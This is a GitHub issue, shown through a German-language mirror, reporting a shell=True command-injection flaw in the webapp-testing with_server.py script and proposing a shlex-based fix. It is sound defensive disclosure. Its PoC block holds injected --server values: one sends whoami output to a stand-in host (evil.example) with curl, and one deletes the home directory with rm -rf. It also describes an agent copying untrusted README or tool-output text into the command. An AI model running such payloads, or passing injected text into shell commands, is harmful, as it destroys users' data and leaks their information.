anthropics / anthropics/skills

with_server.py: command injection via --server in Popen shell=True

Offen
#1,021 0 Kommentare 0 Reaktionen 0 zugewiesene Personen Auf GitHub ansehen
Vorherrschende Sprache
Python
Sterne
176k
Forks
20.8k
Ø Merge
7 Std. 21 Min.
Gemergte PRs (30 T.)
5

Beschreibung

## Summary

`skills/webapp-testing/scripts/with_server.py` uses `subprocess.Popen(server['cmd'], shell=True, ...)` with a CLI-supplied string. When this script is invoked by an AI agent from a prompt-driven workflow, a malicious or injected `--server` value can execute arbitrary shell commands on the host. Even under a "trusted CLI input only" assumption, the trust boundary collapses the moment an agent copies `--server` arguments out of a README, an issue body, or tool output — the script has no way to tell.

Switching to `shlex.split` + `shell=False` (plus an explicit `--cwd` flag for the `cd X && ...` use case the comment alludes to) closes this hole without losing functionality.

### PoC

```bash
# Any of these achieve arbitrary command execution under shell=True:
python with_server.py --server "python -m http.server; touch /tmp/pwned"
python with_server.py --server "python server.py && curl evil.example/$(whoami)"
python with_server.py --server 'python server.py `rm -rf ~`'
```

## Where

https://github.com/anthropics/skills/blob/main/skills/webapp-testing/scripts/with_server.py#L64-L74

```python
# Use shell=True to support commands with cd and &&
process = subprocess.Popen(
server['cmd'],
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE
)
```

## Why it matters

- The wrapper is invoked by a Claude-driven workflow. If untrusted input (e.g. a README snippet, an issue body, or a tool output that the agent copy-pastes into the command) reaches `--server`, command injection becomes trivial.
- Even for trusted human operators, `shell=True` makes the exit semantics murky on POSIX vs. Windows and complicates signal forwarding (`terminate()` only kills the `sh -c` parent; children can survive).
- Audit tooling that scans `anthropics/skills` flags this pattern as HIGH (`subprocess_shell_true`) and `shebang`-adjacent heuristics elevate it further. Fixing it upstream removes a persistent false-positive/genuine-finding on every downstream audit.

## Proposed fix

Replace the `shell=True` invocation with a split argv and an explicit working directory:

```python
import shlex

parser.add_argument(
'--cwd',
action='append',
dest='cwds',
default=[],
help='Working directory for the matching --server (repeat to match each --server)',
)

# ... after parsing ...

for i, server in enumerate(servers):
argv = shlex.split(server['cmd'])
cwd = args.cwds[i] if i < len(args.cwds) else None
process = subprocess.Popen(
argv,
cwd=cwd,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
```

Migration notes:

- Existing `--server "cd backend && python server.py"` invocations become `--server "python server.py" --cwd backend`.
- The `&&` chaining pattern is not used in the bundled examples, so breakage should be limited; the change is backwards-compatible for users who update their invocations.
- If `&&` chaining is deemed essential, an opt-in `--shell` flag would keep the default safe while preserving the legacy behaviour for trusted contexts.
- `shlex.split` uses POSIX rules by default and can mis-tokenize on Windows; if cross-platform support matters, pass `posix=(os.name != "nt")` or document the Windows quoting rules.

### Breaking-change surface

Dropping `shell=True` also drops shell-side parsing. Any of the following in existing `--server` values stops working and must be restructured:

- `&&` / `||` / `;` / `|` command chaining and pipelines
- Shell globbing (`*.py`, `?`, `[a-z]`)
- Environment-variable expansion (`$VAR`, `${VAR}`)
- Backtick or `$(...)` command substitution
- Shell redirection (`>`, `>>`, `<`, `2>&1`)
- Unquoted whitespace handling that relied on the shell to re-tokenize

`shlex.split` preserves quoted arguments and literal whitespace but not the constructs above. Most of them are the same constructs that make `shell=True` injectable, so losing them is usually the point — but callers who relied on them (e.g. redirecting server logs with `>`) will need to move that logic into a wrapper script or use Python-level equivalents (`stdout=open(...)`, `env={...}`).

## Additional hardening (optional)

- Pass `start_new_session=True` (POSIX) or `creationflags=CREATE_NEW_PROCESS_GROUP` (Windows) so `terminate()` can reach the whole process tree.
- Drop the `PIPE` defaults or drain them in a thread — large server logs will deadlock on `process.wait()` once the pipe buffer fills.

## Context

Discovered while auditing `anthropics/skills` with a plugin-scanner that flags `subprocess.Popen(..., shell=True)` on user-controlled input. Filing this upstream so the pattern is fixed at source rather than warned about in every downstream audit.

I'm happy to send a PR if the direction above looks right.

Beitragsleitfaden

Für dieses Repository ist kein Beitragsleitfaden indexiert

Bewertung

Dieses Issue wurde noch nicht bewertet.

Neue Issues direkt in Ihr Postfach

Eine kurze Übersicht über anfängerfreundliche GitHub-Issues.